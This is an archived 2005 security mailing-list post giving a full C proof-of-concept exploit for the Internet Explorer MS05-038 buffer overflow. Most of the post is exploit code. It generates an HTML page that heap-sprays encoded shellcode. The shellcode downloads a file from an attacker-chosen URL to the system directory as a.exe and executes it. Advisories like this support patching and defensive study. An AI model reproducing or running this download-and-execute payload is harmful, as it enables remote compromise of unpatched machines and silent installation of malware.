Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] Cumulative Security Update for Internet Explorer (MS05-038, Explo

Subject: [EXPL] Cumulative Security Update for Internet Explorer (MS05-038, Exploit)
Date: 16 Aug 2005 16:56:35 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Cumulative Security Update for Internet Explorer (MS05-038, Exploit)
------------------------------------------------------------------------


SUMMARY

A buffer overflow vulnerability within Internet Explorer allows attackers 
to execute arbitrary code. The following exploit code can be used to test 
your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * Microsoft Windows 2000 Service Pack 4
 * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service 
Pack 2
 * Microsoft Windows XP Professional x64 Edition
 * Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service 
Pack 1
 * Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft 
Windows Server 2003 with Service Pack 1 for Itanium-based Systems
 * Microsoft Windows Server 2003 x64 Edition
 * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and 
Microsoft Windows Millennium Edition (ME) Review the FAQ section of this 
bulletin for details about these operating systems.
 * Internet Explorer 5.01 Service Pack 4 on Microsoft Windows 2000 Service 
Pack 4
 * Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service 
Pack 4 or on Microsoft Windows XP Service Pack 1
 * Internet Explorer 6 for Microsoft Windows XP Service Pack 2 Download 
the update
 * Internet Explorer 6 for Microsoft Windows Server 2003 and Microsoft 
Windows Server 2003 Service Pack 1
 * Internet Explorer 6 for Microsoft Windows Server 2003 for Itanium-based 
Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based 
Systems
 * Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition
 * Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition
 * Internet Explorer 5.5 Service Pack 2 on Microsoft Windows Millennium 
Edition Review the FAQ section of this bulletin for details about this 
version.
 * Internet Explorer 6 Service Pack 1 on Microsoft Windows 98, on 
Microsoft Windows 98 SE.

Exploit:
/*+++++++++++++++++++++++++++++++++++++++++++++++
      Ms05 038 exploit POC
        Write By ZwelL
          2005 8 11
  http://www.donews.net/zwell
            zwell at sohu.com

Some code belongs to Lion(cnhonker), regards to him.
This code tested on Windows 2003
-----------------------------------------------*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\
                                       __asm _emit 0x90 __asm _emit 0x90\
                                       __asm _emit 0x90 __asm _emit 0x90\
                                       __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN 8
#define MAX_SC_LEN 2048
#define HASH_KEY 13

// Define Decode Parameter
#define DECODE_LEN 21
#define SC_LEN_OFFSET 7
#define ENC_KEY_OFFSET 11
#define ENC_KEY 0xff


// Define Function Addr
#define ADDR_LoadLibraryA [esi]
#define ADDR_GetSystemDirectoryA [esi+4]
#define ADDR_WinExec [esi+8]
#define ADDR_ExitProcess [esi+12]
#define ADDR_URLDownloadToFileA [esi+16]

// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
    // kernel32 4 // 00 kernel32.dll
    {"LoadLibraryA"}, // [esi]
    {"GetSystemDirectoryA"}, // [esi+4]
    {"WinExec"}, // [esi+8]
    {"ExitProcess"}, // [esi+12]
    // urlmon 1 // 01 urlmon.dll
    {"URLDownloadToFileA"}, // [esi+16]
    {""},
};
    
// Shellcode string
unsigned char sc[1024] = {0};
unsigned int Sc_len;

char *htmlbody1=
"<html><body>\r\n"
"<SCRIPT language=\"javascript\">\r\n"
"shellcode = unescape(\"%u4343%u4343\"+\"";

char *htmlbody2=
"\");\r\n"
"bigblock = unescape(\"%u0D0D%u0D0D\");\r\n"
"headersize = 20;\r\n"
"slackspace = headersize+shellcode.length;\r\n"
"while (bigblock.length<slackspace) bigblock+=bigblock;\r\n"
"fillblock = bigblock.substring(0, slackspace);\r\n"
"block = bigblock.substring(0, bigblock.length-slackspace);\r\n"
"while(block.length+slackspace<0x40000) block = 
block+block+fillblock;\r\n"
"memory = new Array();\r\n"
"for (i=0;i<750;i++) memory[i] = block + shellcode;\r\n"
"</SCRIPT>\r\n"
"<object 
classid=\"CLSID:083863F1-70DE-11d0-BD40-00A0C911CE86\"></object>\r\n"
"Ms05038 Exploit POC<br>\r\n"
"Made By ZwelL< http://www.donews.net/zwell>\r\n"
"</html>";

// ASM shellcode main function
void ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
    DWORD h = 0;
    
    while ( *c )
    {
        __asm ror h, HASH_KEY
        
        h += *c++;
    }
    return( h );
}

int buildfile(unsigned char *sc, int len)
{
        int i;
        char writebuf[4096];
        char tmp[4096];
        FILE *stream;

        memset(tmp, 0, 4096);
        memset(writebuf, 0, 4096);
        for(i = 0; i < len; i++)
    {
                sprintf(writebuf, "%s%.2x", writebuf, sc[i] & 0xff);
        }
        
    if(strlen(writebuf)%4!=0)
        strcat(writebuf, "00");

    for(i=0; i<(strlen(writebuf)/4); i++)
    {
                strcat(tmp, "\%u");
                strncat(tmp, &writebuf[i*4+2], 2);
                strncat(tmp, &writebuf[i*4], 2);
    }

        //printf("%s\n", writebuf);
        //printf("======================\n%s\n", tmp);
        
        if( (stream = fopen( "zwell_ms05038.html", "w+b" )) != NULL )
        {
                fwrite(htmlbody1, strlen(htmlbody1), 1, stream);
                fwrite( tmp, strlen(tmp), 1, stream );
                fwrite(htmlbody2, strlen(htmlbody2), 1, stream);
                fclose(stream);
        }
        else
        {
                printf("fopen wrong\n");
                exit(0);
        }
        return 0;
}

void Make_ShellCode(char *url1)
{
    unsigned char *pSc_addr;
    unsigned int Enc_key=ENC_KEY;
    unsigned long dwHash[100];
    unsigned int dwHashSize;
    int i,j,k,l;
    
    
    // Get functions hash
    //printf("[+] Get functions hash strings.\r\n");
    for (i=0;;i++)
    {
        if (functions[i][0] == '\x0') break;

        dwHash[i] = GetHash((char*)functions[i]);
        //printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize = i*4;


    // Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;
    
    for (k=0;k<MAX_SC_LEN;++k )
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
        {
            break;
        }
    }
    pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
    
    for (k=0;k<MAX_SC_LEN;++k)
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
            break;
        }
    }
    Sc_len=k; // Length of the ShellCode
    
    memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]


    // Add functions hash
    memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
    Sc_len += dwHashSize;

    // Add url
    memcpy(sc+Sc_len, url1, strlen(url1)+1);
    Sc_len += strlen(url1)+1;

    // Deal with find the right XOR byte
    for(i=0xff; i>0; i--)
    {
        l = 0;
        for(j=DECODE_LEN; j<Sc_len; j++)
        {
            if (
                   ((sc[j] ^ i) == 0x26) || //%
                   ((sc[j] ^ i) == 0x3d) || //=
                   ((sc[j] ^ i) == 0x3f) || //?
                   ((sc[j] ^ i) == 0x40) || //@
                   ((sc[j] ^ i) == 0x00) ||
                   ((sc[j] ^ i) == 0x0D) ||
                   ((sc[j] ^ i) == 0x0A)
                ) // Define Bad Characters
            {
                l++; // If found the right XOR byte&#65292;l equals 0
                break;
            };
        }
    
        if (l==0)
        {
            Enc_key = i;
            
            //printf("[+] Find XOR Byte: 0x%02X\n", i);
            for(j=DECODE_LEN; j<Sc_len; j++)
            {
                sc[j] ^= Enc_key;
            }

            break; // If found the right XOR byte, Break
        }
    }

    // Deal with not found XOR byte
    if (l!=0)
   {
        printf("[-] No xor byte found!\r\n");
        exit(-1);
    }

    // Deal with DeCode string
    *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
    *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
    
    printf("[+] download url:%s\n", url1);
}

int help()
{
        printf("Usage : ms05038.exe url [-t] \n");
        printf(" the 't' option will let you test for the shellcode 
first\n");
        exit(0);
}

void main(int argc, char **argv)
{
    WSADATA wsa;
        unsigned char url[255]={0};
        BOOL b_test;

    printf("\n========================================\n");
        printf("Ms05-038 exploit POC\n");
        printf("Write By Zwell\n");
        printf("2005-8-11\n");
        printf("http://www.donews.net/zwell\n";);
        printf("zwell@sohu.com\n");
        printf("========================================\n\n");
        b_test=FALSE;
        if(argc<2)
                help();
        
        strncpy(url, argv[1], 255);

        if(argc == 3)
                if(!strcmp(argv[2], "-t"))
                        b_test = TRUE;

    WSAStartup(MAKEWORD(2,2),&wsa);
    
    Make_ShellCode(url);
        printf("[+] Build shellcode successful\n");
        buildfile(sc, Sc_len);
        printf("[+] Build file successful\n");
        printf("Now, you can open the builded file(zwell_ms05038.html) 
with IE to see the result.Good Luck ^_^\n");


        if(b_test)
        {
                printf("Testing the shellcode...\n");
                ((void (*)(void)) &sc)();
        }
    return;
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
        jmp short decode_end
        
decode_start:
        pop ebx // Decode start addr (esp -> ebx)
        dec ebx
        xor ecx,ecx
        mov cl,0xFF // Decode len
        
    decode_loop:
        xor byte ptr [ebx+ecx],ENC_KEY // Decode key
        loop decode_loop
        jmp short decode_ok

decode_end:
        call decode_start
        
decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
        jmp sc_end
        
sc_start:
        pop edi // Hash string start addr (esp -> edi)

        // Get kernel32.dll base addr
        mov eax, fs:0x30 // PEB
        mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
        mov esi, [eax+0x1c] // InInitOrder.flink
        lodsd // eax = InInitOrder.blink
        mov ebp, [eax+8] // ebp = kernel32.dll base address

        mov esi, edi // Hash string start addr -> esi
    
        // Get function addr of kernel32
        push 4
        pop ecx
        
    getkernel32:
        call GetProcAddress_fun
        loop getkernel32

        // Get function addr of urlmon
        push 0x00006e6f
        push 0x6d6c7275 // urlmon
        push esp
        call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
        
        mov ebp, eax // ebp = urlmon.dll base address
        
/*
        push 1
        pop ecx

    geturlmon:
        call GetProcAddress_fun
        loop geturlmon
*/
        call GetProcAddress_fun

        // url start addr = edi
        
//LGetSystemDirectoryA:
        sub esp, 0x20
        mov ebx, esp
        
        push 0x20
        push ebx
        call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
        
//LURLDownloadToFileA:
        // eax = system path size
        // URLDownloadToFileA url save to a.exe
        mov dword ptr [ebx+eax], 0x652E615C // "\a.e"
        mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
        xor eax, eax
        push eax
        push eax
        push ebx // %systemdir%\a.exe
        push edi // url
        push eax
        call ADDR_URLDownloadToFileA // URLDownloadToFileA
        
//LWinExec:
                mov ebx, esp
                push eax
                push ebx
                call ADDR_WinExec // WinExec(%systemdir%\a.exe);

Finished:
        //push 1
        call ADDR_ExitProcess // ExitProcess();

GetProcAddress_fun:
        push ecx
        push esi
    
        mov esi, [ebp+0x3C] // e_lfanew
        mov esi, [esi+ebp+0x78] // ExportDirectory RVA
        add esi, ebp // rva2va
        push esi
        mov esi, [esi+0x20] // AddressOfNames RVA
        add esi, ebp // rva2va
        xor ecx, ecx
        dec ecx

    find_start:
        inc ecx
        lodsd
        add eax, ebp
        xor ebx, ebx
        
    hash_loop:
        movsx edx, byte ptr [eax]
        cmp dl, dh
        jz short find_addr
        ror ebx, HASH_KEY // hash key
        add ebx, edx
        inc eax
        jmp short hash_loop
     
    find_addr:
        cmp ebx, [edi] // compare to hash
        jnz short find_start
        pop esi // ExportDirectory
        mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
        add ebx, ebp // rva2va
        mov cx, [ebx+ecx*2] // FunctionOrdinal
        mov ebx, [esi+0x1C] // AddressOfFunctions RVA
        add ebx, ebp // rva2va
        mov eax, [ebx+ecx*4] // FunctionAddress RVA
        add eax, ebp // rva2va
        stosd // function address save to [edi]
        
        pop esi
        pop ecx
        ret
        
sc_end:
        call sc_start
       
        PROC_END //C macro to end proc
    }
}

/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:zwell@sohu.com> zwell.
The original exploit can be found at:  
<http://blog.donews.com/zwell/archive/2005/08/11/504349.aspx> 
http://blog.donews.com/zwell/archive/2005/08/11/504349.aspx
The advisory can be found at:  
<http://www.securiteam.com/windowsntfocus/5WP0C00GKS.html> 
http://www.securiteam.com/windowsntfocus/5WP0C00GKS.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] Cumulative Security Update for Internet Explorer (MS05-038, Exploit), SecuriTeam <=